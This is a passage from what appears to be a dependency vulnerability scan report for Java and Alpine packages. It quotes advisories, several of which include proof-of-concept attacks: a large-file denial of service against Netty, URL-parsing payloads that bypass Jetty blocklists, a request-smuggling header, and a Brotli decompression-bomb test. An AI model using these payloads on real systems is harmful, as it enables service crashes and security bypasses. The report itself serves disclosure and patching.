- -### Summary -An unsafe reading of environment file could potentially cause a denial of service in Netty. -When loaded on an Windows application, Netty attemps to load a file that does not exist. If an attacker creates such a large file, the Netty application crash. - -### Details -A similar issue was previously reported in https://github.com/netty/netty/security/advisories/GHSA-xq3w-v528-46rv -This issue was fixed, but the fix was incomplete in that null-bytes were not counted against the input limit. - - -### PoC -The PoC is the same as for https://github.com/netty/netty/security/advisories/GHSA-xq3w-v528-46rv with the detail that the file should only contain null-bytes; 0x00. -When the null-bytes are encountered by the `InputStreamReader`, it will issue replacement characters in its charset decoding, which will fill up the line-buffer in the `BufferedReader.readLine()`, because the replacement character is not a line-break character. - -### Impact -Impact is the same as https://github.com/netty/netty/security/advisories/GHSA-xq3w-v528-46rv - -
-
- -medium 5.4: CVE--2024--47535 Uncontrolled Resource Consumption - - - - - - - - -
Affected range<=4.1.114.Final
Fixed version4.1.115.Final
CVSS Score5.4
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P
EPSS Score0.198%
EPSS Percentile42nd percentile
- -
Description -
- -### Summary - -An unsafe reading of environment file could potentially cause a denial of service in Netty. -When loaded on an Windows application, Netty attemps to load a file that does not exist. If an attacker creates such a large file, the Netty application crash. - - -### Details - -When the library netty is loaded in a java windows application, the library tries to identify the system environnement in which it is executed. - -At this stage, Netty tries to load both `/etc/os-release` and `/usr/lib/os-release` even though it is in a Windows environment. - -1 - -If netty finds this files, it reads them and loads them into memory. - -By default : - -- The JVM maximum memory size is set to 1 GB, -- A non-privileged user can create a directory at `C:\` and create files within it. - -2 - -3 - -the source code identified : -https://github.com/netty/netty/blob/4.1/common/src/main/java/io/netty/util/internal/PlatformDependent.java - -Despite the implementation of the function `normalizeOs()` the source code not verify the OS before reading `C:\etc\os-release` and `C:\usr\lib\os-release`. - -### PoC - -Create a file larger than 1 GB of data in `C:\etc\os-release` or `C:\usr\lib\os-release` on a Windows environnement and start your Netty application. - -To observe what the application does with the file, the security analyst used "Process Monitor" from the "Windows SysInternals" suite. (https://learn.microsoft.com/en-us/sysinternals/) - -``` -cd C:\etc -fsutil file createnew os-release 3000000000 -``` - -4 - -5 - -The source code used is the Netty website code example : [Echo ‐ the very basic client and server](https://netty.io/4.1/xref/io/netty/example/echo/package-summary.html). - -The vulnerability was tested on the 4.1.112.Final version. - -The security analyst tried the same technique for `C:\proc\sys\net\core\somaxconn` with a lot of values to impact Netty but the only things that works is the "larger than 1 GB file" technique. https://github.com/netty/netty/blob/c0fdb8e9f8f256990e902fcfffbbe10754d0f3dd/common/src/main/java/io/netty/util/NetUtil.java#L186 - -### Impact - -By loading the "file larger than 1 GB" into the memory, the Netty library exceeds the JVM memory limit and causes a crash in the java Windows application. - -This behaviour occurs 100% of the time in both Server mode and Client mode if the large file exists. - -Client mode : - -6 - -Server mode : - -7 - -somaxconn : - -8 - -### Severity - -- Attack vector : "Local" because the attacker needs to be on the system where the Netty application is running. -- Attack complexity : "Low" because the attacker only need to create a massive file (regardless of its contents). -- Privileges required : "Low" because the attacker requires a user account to exploit the vulnerability. -- User intercation : "None" because the administrator don't need to accidentally click anywhere to trigger the vulnerability. Furthermore, the exploitation works with defaults windows/AD settings. -- Scope : "Unchanged" because only Netty is affected by the vulnerability. -- Confidentiality : "None" because no data is exposed through exploiting the vulnerability. -- Integrity : "None" because the explotation of the vulnerability does not allow editing, deleting or adding data elsewhere. -- Availability : "High" because the exploitation of this vulnerability crashes the entire java application. - -
-
-
-
critical: 0 high: 0 medium: 2 low: 0 org.eclipse.jetty/jetty-http 9.4.51.v20230217 (maven) - -pkg:maven/org.eclipse.jetty/jetty-http@9.4.51.v20230217
-medium 6.3: CVE--2024--6763 Improper Validation of Syntactic Correctness of Input - - - - - - - - -
Affected range>=7.0.0
<=12.0.11
Fixed version12.0.12
CVSS Score6.3
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
EPSS Score1.022%
EPSS Percentile77th percentile
- -
Description -
- -## Summary - -Eclipse Jetty is a lightweight, highly scalable, Java-based web server and Servlet engine . It includes a utility class, `HttpURI`, for URI/URL parsing. - -The `HttpURI` class does insufficient validation on the authority segment of a URI. However the behaviour of `HttpURI` differs from the common browsers in how it handles a URI that would be considered invalid if fully validated against the RRC. Specifically `HttpURI` and the browser may differ on the value of the host extracted from an invalid URI and thus a combination of Jetty and a vulnerable browser may be vulnerable to a open redirect attack or to a SSRF attack if the URI is used after passing validation checks. - -## Details - -### Affected components - -The vulnerable component is the `HttpURI` class when used as a utility class in an application. The Jetty usage of the class is not vulnerable. - -### Attack overview - -The `HttpURI` class does not well validate the authority section of a URI. When presented with an illegal authority that may contain user info (eg username:password#@hostname:port), then the parsing of the URI is not failed. Moreover, the interpretation of what part of the authority is the host name differs from a common browser in that they also do not fail, but they select a different host name from the illegal URI. - -### Attack scenario - -A typical attack scenario is illustrated in the diagram below. The Validator checks whether the attacker-supplied URL is on the blocklist. If not, the URI is passed to the Requester for redirection. The Requester is responsible for sending requests to the hostname specified by the URI. - -This attack occurs when the Validator is the `org.eclipse.jetty.http.HttpURI` class and the Requester is the `Browser` (include chrome, firefox and Safari). An attacker can send a malformed URI to the Validator (e.g., `http://browser.check%23%40vulndetector.com/` ). After validation, the Validator finds that the hostname is not on the blocklist. However, the Requester can still send requests to the domain with the hostname `vulndetector.com`. - -## PoC - -payloads: - -``` -http://browser.check &@vulndetector.com/ -http://browser.check #@vulndetector.com/ -http://browser.check?@vulndetector.com/ -http://browser.check#@vulndetector.com/ -http://vulndetector.com\\/ -``` - -The problem of 302 redirect parsing in HTML tag scenarios. Below is a poc example. After clicking the button, the browser will open "browser.check", and jetty will parse this URL as "vulndetector.com". - -``` - -``` -A comparison of the parsing differences between Jetty and chrome is shown in the table below (note that neither should accept the URI as valid). - -| Invalid URI | Jetty | Chrome | -| ---------------------------------------------- | ---------------- | ------------- | -| http://browser.check &@vulndetector.com/ | vulndetector.com | browser.check | -| http://browser.check #@vulndetector.com/ | vulndetector.com | browser.check | -| http://browser.check?@vulndetector.com/ | vulndetector.com | browser.check | -| http://browser.check#@vulndetector.com/ | vulndetector.com | browser.check | - -The problem of 302 redirect parsing in HTTP 302 Location - -| Input | Jetty | Chrome | -| ------------------------ | -------------- | ------------- | -| http://browser.check%5c/ | browser.check\ | browser.check | - -It is noteworthy that Spring Web also faced similar security vulnerabilities, being affected by the aforementioned four types of payloads. These issues have since been resolved and have been assigned three CVE numbers [3-5]. - -## Impact - -The impact of this vulnerability is limited to developers that use the Jetty HttpURI directly. Example: your project implemented a blocklist to block on some hosts based on HttpURI's handling of authority section. The vulnerability will help attackers bypass the protections that developers have set up for hosts. The vulnerability will lead to **SSRF**[1] and **URL Redirection**[2] vulnerabilities in several cases. - -## Mitigation - -The attacks outlined above rely on decoded user data being passed to the `HttpURI` class. Application should not pass decoded user data as an encoded URI to any URI class/method, including `HttpURI`. Such applications are likely to be vulnerable in other ways. -The immediate solution is to upgrade to a version of the class that will fully validate the characters of the URI authority. Ultimately, Jetty will deprecate and remove support for user info in the authority per [RFC9110 Section 4.2.4](https://datatracker.ietf.org/doc/html/rfc9110#section-4.2.4). - -Note that the Chrome (and other browsers) parse the invalid user info section improperly as well (due to flawed WhatWG URL parsing rules that do not apply outside of a Web Browser). - -## Reference - -[1] https://cwe.mitre.org/data/definitions/918.html -[2] https://cwe.mitre.org/data/definitions/601.html - -
-
- -medium 5.3: CVE--2023--40167 Improper Handling of Length Parameter Inconsistency - - - - - - - - -
Affected range>=9.0.0
<=9.4.51
Fixed version9.4.52
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
EPSS Score5.222%
EPSS Percentile90th percentile
- -
Description -
- -### Impact - -Jetty accepts the '+' character proceeding the content-length value in a HTTP/1 header field. This is more permissive than allowed by the RFC and other servers routinely reject such requests with 400 responses. There is no known exploit scenario, but it is conceivable that request smuggling could result if jetty is used in combination with a server that does not close the connection after sending such a 400 response. - -### Workarounds - -There is no workaround as there is no known exploit scenario. - -### Original Report - -[RFC 9110 Secion 8.6](https://www.rfc-editor.org/rfc/rfc9110#section-8.6) defined the value of Content-Length header should be a string of 0-9 digits. However we found that Jetty accepts "+" prefixed Content-Length, which could lead to potential HTTP request smuggling. - -Payload: - -``` - POST / HTTP/1.1 - Host: a.com - Content-Length: +16 - Connection: close - ​ - 0123456789abcdef -``` - -When sending this payload to Jetty, it can successfully parse and identify the length. - -When sending this payload to NGINX, Apache HTTPd or other HTTP servers/parsers, they will return 400 bad request. - -This behavior can lead to HTTP request smuggling and can be leveraged to bypass WAF or IDS. - -
-
-
-
critical: 0 high: 0 medium: 1 low: 2 busybox 1.36.1-r29 (apk) - -pkg:apk/alpine/busybox@1.36.1-r29?os_name=alpine&os_version=3.20
-medium : CVE--2025--60876 - - - - - - -
Affected range<=1.36.1-r29
Fixed versionNot Fixed
EPSS Score0.050%
EPSS Percentile16th percentile
- -
Description -
- - - -
-
- -low : CVE--2025--46394 - - - - - - -
Affected range<1.36.1-r31
Fixed version1.36.1-r31
EPSS Score0.024%
EPSS Percentile6th percentile
- -
Description -
- - - -
-
- -low : CVE--2024--58251 - - - - - - -
Affected range<1.36.1-r31
Fixed version1.36.1-r31
EPSS Score0.021%
EPSS Percentile5th percentile
- -
Description -
- - - -
-
-
-
critical: 0 high: 0 medium: 1 low: 1 com.google.guava/guava 27.0-jre (maven) - -pkg:maven/com.google.guava/guava@27.0-jre
-medium 5.5: CVE--2023--2976 Creation of Temporary File in Directory with Insecure Permissions - - - - - - - - -
Affected range>=1.0
<32.0.0-android
Fixed version32.0.0-android
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.079%
EPSS Percentile24th percentile
- -
Description -
- -Use of Java's default temporary directory for file creation in `FileBackedOutputStream` in Google Guava versions 1.0 to 31.1 on Unix systems and Android Ice Cream Sandwich allows other users and apps on the machine with access to the default Java temporary directory to be able to access the files created by the class. - -Even though the security vulnerability is fixed in version 32.0.0, maintainers recommend using version 32.0.1 as version 32.0.0 breaks some functionality under Windows. - -
-
- -low 3.3: CVE--2020--8908 Improper Handling of Alternate Encoding - - - - - - - - -
Affected range<32.0.0-android
Fixed version32.0.0-android
CVSS Score3.3
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
EPSS Score0.072%
EPSS Percentile22nd percentile
- -
Description -
- -A temp directory creation vulnerability exists in Guava prior to version 32.0.0 allowing an attacker with access to the machine to potentially access data in a temporary directory created by the Guava `com.google.common.io.Files.createTempDir()`. The permissions granted to the directory created default to the standard unix-like /tmp ones, leaving the files open. Maintainers recommend explicitly changing the permissions after the creation of the directory, or removing uses of the vulnerable method. - - -
-
-
-
critical: 0 high: 0 medium: 1 low: 1 com.google.guava/guava 30.1.1-jre (maven) - -pkg:maven/com.google.guava/guava@30.1.1-jre
-medium 5.5: CVE--2023--2976 Creation of Temporary File in Directory with Insecure Permissions - - - - - - - - -
Affected range>=1.0
<32.0.0-android
Fixed version32.0.0-android
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.079%
EPSS Percentile24th percentile
- -
Description -
- -Use of Java's default temporary directory for file creation in `FileBackedOutputStream` in Google Guava versions 1.0 to 31.1 on Unix systems and Android Ice Cream Sandwich allows other users and apps on the machine with access to the default Java temporary directory to be able to access the files created by the class. - -Even though the security vulnerability is fixed in version 32.0.0, maintainers recommend using version 32.0.1 as version 32.0.0 breaks some functionality under Windows. - -
-
- -low 3.3: CVE--2020--8908 Improper Handling of Alternate Encoding - - - - - - - - -
Affected range<32.0.0-android
Fixed version32.0.0-android
CVSS Score3.3
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
EPSS Score0.072%
EPSS Percentile22nd percentile
- -
Description -
- -A temp directory creation vulnerability exists in Guava prior to version 32.0.0 allowing an attacker with access to the machine to potentially access data in a temporary directory created by the Guava `com.google.common.io.Files.createTempDir()`. The permissions granted to the directory created default to the standard unix-like /tmp ones, leaving the files open. Maintainers recommend explicitly changing the permissions after the creation of the directory, or removing uses of the vulnerable method. - - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 org.apache.logging.log4j/log4j-core 2.22.1 (maven) - -pkg:maven/org.apache.logging.log4j/log4j-core@2.22.1
-medium 6.3: CVE--2025--68161 Improper Validation of Certificate with Host Mismatch - - - - - - - - -
Affected range>=2.0-beta9
<2.25.3
Fixed version2.25.3
CVSS Score6.3
CVSS VectorCVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:L/SA:N
EPSS Score0.037%
EPSS Percentile11th percentile
- -
Description -
- -The Socket Appender in Apache Log4j Core versions 2.0-beta9 through 2.25.2 does not perform TLS hostname verification of the peer certificate, even when the [verifyHostName](https://logging.apache.org/log4j/2.x/manual/appenders/network.html#SslConfiguration-attr-verifyHostName) configuration attribute or the [log4j2.sslVerifyHostName](https://logging.apache.org/log4j/2.x/manual/systemproperties.html#log4j2.sslVerifyHostName) system property is set to true. - -This issue may allow a man-in-the-middle attacker to intercept or redirect log traffic under the following conditions: - - * The attacker is able to intercept or redirect network traffic between the client and the log receiver. - * The attacker can present a server certificate issued by a certification authority trusted by the Socket Appender’s configured trust store (or by the default Java trust store if no custom trust store is configured). - - -Users are advised to upgrade to Apache Log4j Core version 2.25.3, which addresses this issue. - -As an alternative mitigation, the Socket Appender may be configured to use a private or restricted trust root to limit the set of trusted certificates. - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 org.eclipse.jetty/jetty-http 9.4.52.v20230823 (maven) - -pkg:maven/org.eclipse.jetty/jetty-http@9.4.52.v20230823
-medium 6.3: CVE--2024--6763 Improper Validation of Syntactic Correctness of Input - - - - - - - - -
Affected range>=7.0.0
<=12.0.11
Fixed version12.0.12
CVSS Score6.3
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
EPSS Score1.022%
EPSS Percentile77th percentile
- -
Description -
- -## Summary - -Eclipse Jetty is a lightweight, highly scalable, Java-based web server and Servlet engine . It includes a utility class, `HttpURI`, for URI/URL parsing. - -The `HttpURI` class does insufficient validation on the authority segment of a URI. However the behaviour of `HttpURI` differs from the common browsers in how it handles a URI that would be considered invalid if fully validated against the RRC. Specifically `HttpURI` and the browser may differ on the value of the host extracted from an invalid URI and thus a combination of Jetty and a vulnerable browser may be vulnerable to a open redirect attack or to a SSRF attack if the URI is used after passing validation checks. - -## Details - -### Affected components - -The vulnerable component is the `HttpURI` class when used as a utility class in an application. The Jetty usage of the class is not vulnerable. - -### Attack overview - -The `HttpURI` class does not well validate the authority section of a URI. When presented with an illegal authority that may contain user info (eg username:password#@hostname:port), then the parsing of the URI is not failed. Moreover, the interpretation of what part of the authority is the host name differs from a common browser in that they also do not fail, but they select a different host name from the illegal URI. - -### Attack scenario - -A typical attack scenario is illustrated in the diagram below. The Validator checks whether the attacker-supplied URL is on the blocklist. If not, the URI is passed to the Requester for redirection. The Requester is responsible for sending requests to the hostname specified by the URI. - -This attack occurs when the Validator is the `org.eclipse.jetty.http.HttpURI` class and the Requester is the `Browser` (include chrome, firefox and Safari). An attacker can send a malformed URI to the Validator (e.g., `http://browser.check%23%40vulndetector.com/` ). After validation, the Validator finds that the hostname is not on the blocklist. However, the Requester can still send requests to the domain with the hostname `vulndetector.com`. - -## PoC - -payloads: - -``` -http://browser.check &@vulndetector.com/ -http://browser.check #@vulndetector.com/ -http://browser.check?@vulndetector.com/ -http://browser.check#@vulndetector.com/ -http://vulndetector.com\\/ -``` - -The problem of 302 redirect parsing in HTML tag scenarios. Below is a poc example. After clicking the button, the browser will open "browser.check", and jetty will parse this URL as "vulndetector.com". - -``` - -``` -A comparison of the parsing differences between Jetty and chrome is shown in the table below (note that neither should accept the URI as valid). - -| Invalid URI | Jetty | Chrome | -| ---------------------------------------------- | ---------------- | ------------- | -| http://browser.check &@vulndetector.com/ | vulndetector.com | browser.check | -| http://browser.check #@vulndetector.com/ | vulndetector.com | browser.check | -| http://browser.check?@vulndetector.com/ | vulndetector.com | browser.check | -| http://browser.check#@vulndetector.com/ | vulndetector.com | browser.check | - -The problem of 302 redirect parsing in HTTP 302 Location - -| Input | Jetty | Chrome | -| ------------------------ | -------------- | ------------- | -| http://browser.check%5c/ | browser.check\ | browser.check | - -It is noteworthy that Spring Web also faced similar security vulnerabilities, being affected by the aforementioned four types of payloads. These issues have since been resolved and have been assigned three CVE numbers [3-5]. - -## Impact - -The impact of this vulnerability is limited to developers that use the Jetty HttpURI directly. Example: your project implemented a blocklist to block on some hosts based on HttpURI's handling of authority section. The vulnerability will help attackers bypass the protections that developers have set up for hosts. The vulnerability will lead to **SSRF**[1] and **URL Redirection**[2] vulnerabilities in several cases. - -## Mitigation - -The attacks outlined above rely on decoded user data being passed to the `HttpURI` class. Application should not pass decoded user data as an encoded URI to any URI class/method, including `HttpURI`. Such applications are likely to be vulnerable in other ways. -The immediate solution is to upgrade to a version of the class that will fully validate the characters of the URI authority. Ultimately, Jetty will deprecate and remove support for user info in the authority per [RFC9110 Section 4.2.4](https://datatracker.ietf.org/doc/html/rfc9110#section-4.2.4). - -Note that the Chrome (and other browsers) parse the invalid user info section improperly as well (due to flawed WhatWG URL parsing rules that do not apply outside of a Web Browser). - -## Reference - -[1] https://cwe.mitre.org/data/definitions/918.html -[2] https://cwe.mitre.org/data/definitions/601.html - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 io.netty/netty-codec 4.1.96.Final (maven) - -pkg:maven/io.netty/netty-codec@4.1.96.Final
-medium 6.9: CVE--2025--58057 Improper Handling of Highly Compressed Data (Data Amplification) - - - - - - - - -
Affected range<4.1.125.Final
Fixed version4.1.125.Final
CVSS Score6.9
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
EPSS Score0.070%
EPSS Percentile22nd percentile
- -
Description -
- -### Summary - -With specially crafted input, `BrotliDecoder` and some other decompressing decoders will allocate a large number of reachable byte buffers, which can lead to denial of service. - -### Details - -`BrotliDecoder.decompress` has no limit in how often it calls `pull`, decompressing data 64K bytes at a time. The buffers are saved in the output list, and remain reachable until OOM is hit. This is basically a zip bomb. - -Tested on 4.1.118, but there were no changes to the decoder since. - -### PoC - -Run this test case with `-Xmx1G`: - -```java -import io.netty.buffer.Unpooled; -import io.netty.channel.embedded.EmbeddedChannel; - -import java.util.Base64; - -public class T { - public static void main(String[] args) { - EmbeddedChannel channel = new EmbeddedChannel(new BrotliDecoder()); - channel.writeInbound(Unpooled.wrappedBuffer(Base64.getDecoder().decode("aPpxD1tETigSAGj6cQ8vRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROMBIAEgIaHwBETlQQVFcXlgA="))); - } -} -``` - -Error: - -``` -Exception in thread "main" java.lang.OutOfMemoryError: Cannot reserve 4194304 bytes of direct buffer memory (allocated: 1069580289, limit: 1073741824) - at java.base/java.nio.Bits.reserveMemory(Bits.java:178) - at java.base/java.nio.DirectByteBuffer.(DirectByteBuffer.java:121) - at java.base/java.nio.ByteBuffer.allocateDirect(ByteBuffer.java:332) - at io.netty.buffer.PoolArena$DirectArena.allocateDirect(PoolArena.java:718) - at io.netty.buffer.PoolArena$DirectArena.newChunk(PoolArena.java:693) - at io.netty.buffer.PoolArena.allocateNormal(PoolArena.java:213) - at io.netty.buffer.PoolArena.tcacheAllocateNormal(PoolArena.java:195) - at io.netty.buffer.PoolArena.allocate(PoolArena.java:137) - at io.netty.buffer.PoolArena.allocate(PoolArena.java:127) - at io.netty.buffer.PooledByteBufAllocator.newDirectBuffer(PooledByteBufAllocator.java:403) - at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:188) - at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:179) - at io.netty.buffer.AbstractByteBufAllocator.buffer(AbstractByteBufAllocator.java:116) - at io.netty.handler.codec.compression.BrotliDecoder.pull(BrotliDecoder.java:70) - at io.netty.handler.codec.compression.BrotliDecoder.decompress(BrotliDecoder.java:101) - at io.netty.handler.codec.compression.BrotliDecoder.decode(BrotliDecoder.java:137) - at io.netty.handler.codec.ByteToMessageDecoder.decodeRemovalReentryProtection(ByteToMessageDecoder.java:530) - at io.netty.handler.codec.ByteToMessageDecoder.callDecode(ByteToMessageDecoder.java:469) - at io.netty.handler.codec.ByteToMessageDecoder.channelRead(ByteToMessageDecoder.java:290) - at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:444) - at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420) - at io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:412) - at io.netty.channel.DefaultChannelPipeline$HeadContext.channelRead(DefaultChannelPipeline.java:1357) - at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:440) - at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420) - at io.netty.channel.DefaultChannelPipeline.fireChannelRead(DefaultChannelPipeline.java:868) - at io.netty.channel.embedded.EmbeddedChannel.writeInbound(EmbeddedChannel.java:348) - at io.netty.handler.codec.compression.T.main(T.java:11) -``` - -### Impact - -DoS for anyone using `BrotliDecoder` on untrusted input. - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 org.apache.zookeeper/zookeeper 3.8.3 (maven) - -pkg:maven/org.apache.zookeeper/zookeeper@3.8.3
-medium 5.3: CVE--2024--23944 Exposure of Sensitive Information to an Unauthorized Actor - - - - - - - - -
Affected range>=3.8.0
<=3.8.3
Fixed version3.8.4
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
EPSS Score0.028%
EPSS Percentile7th percentile
- -
Description -
- -Information disclosure in persistent watchers handling in Apache ZooKeeper due to missing ACL check. It allows an attacker to monitor child znodes by attaching a persistent watcher (addWatch command) to a parent which the attacker has already access to. ZooKeeper server doesn't do ACL check when the persistent watcher is triggered and as a consequence, the full path of znodes that a watch event gets triggered upon is exposed to the owner of the watcher. It's important to note that only the path is exposed by this vulnerability, not the data of znode, but since znode path can contain sensitive information like user name or login ID, this issue is potentially critical. - -Users are recommended to upgrade to version 3.9.2, 3.8.4 which fixes the issue. - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 org.eclipse.jetty/jetty-servlets 9.4.52.v20230823 (maven) - -pkg:maven/org.eclipse.jetty/jetty-servlets@9.4.52.v20230823
-medium 5.3: CVE--2024--9823 Uncontrolled Resource Consumption - - - - - - - - -
Affected range>=9.0.0
<9.4.54
Fixed version9.4.54
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
EPSS Score0.591%
EPSS Percentile69th percentile
- -
Description -
- -Description -There exists a security vulnerability in Jetty's DosFilter which can be exploited by unauthorized users to cause remote denial-of-service (DoS) attack on the server using DosFilter. By repeatedly sending crafted requests, attackers can trigger OutofMemory errors and exhaust the server's memory finally. - - -Vulnerability details -The Jetty DoSFilter (Denial of Service Filter) is a security filter designed to protect web applications against certain types of Denial of Service (DoS) attacks and other abusive behavior. It helps to mitigate excessive resource consumption by limiting the rate at which clients can make requests to the server. The DoSFilter monitors and tracks client request patterns, including request rates, and can take actions such as blocking or delaying requests from clients that exceed predefined thresholds. The internal tracking of requests in DoSFilter is the source of this OutOfMemory condition. - - -Impact -Users of the DoSFilter may be subject to DoS attacks that will ultimately exhaust the memory of the server if they have not configured session passivation or an aggressive session inactivation timeout. - - -Patches -The DoSFilter has been patched in all active releases to no longer support the session tracking mode, even if configured. - - -Patched releases: - - * 9.4.54 - * 10.0.18 - * 11.0.18 - * 12.0.3 - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 org.apache.spark/spark-network-common_2.12 3.5.0 (maven) - -pkg:maven/org.apache.spark/spark-network-common_2.12@3.5.0
-medium 4.6: CVE--2025--55039 Inadequate Encryption Strength - - - - - - - - -
Affected range>=3.5.0
<3.5.2
Fixed version3.5.2
CVSS Score4.6
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:U
EPSS Score0.058%
EPSS Percentile18th percentile
- -
Description -
- -This issue affects Apache Spark versions before 3.4.4, 3.5.2 and 4.0.0. - -Apache Spark versions before 4.0.0, 3.5.2 and 3.4.4 use an insecure default network encryption cipher for RPC communication between nodes. - -When spark.network.crypto.enabled is set to true (it is set to false by default), but spark.network.crypto.cipher is not explicitly configured, Spark defaults to AES in CTR mode (AES/CTR/NoPadding), which provides encryption without authentication. - -This vulnerability allows a man-in-the-middle attacker to modify encrypted RPC traffic undetected by flipping bits in ciphertext, potentially compromising heartbeat messages or application data and affecting the integrity of Spark workflows. - -To mitigate this issue, users should either configure spark.network.crypto.cipher to AES/GCM/NoPadding to enable authenticated encryption or enable SSL encryption by setting spark.ssl.enabled to true, which provides stronger transport security. - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 org.apache.commons/commons-lang3 3.12.0 (maven) - -pkg:maven/org.apache.commons/commons-lang3@3.12.0
-medium 6.5: CVE--2025--48924 Uncontrolled Recursion - - - - - - - - -
Affected range>=3.0
<3.18.0
Fixed version3.18.0
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
EPSS Score0.016%
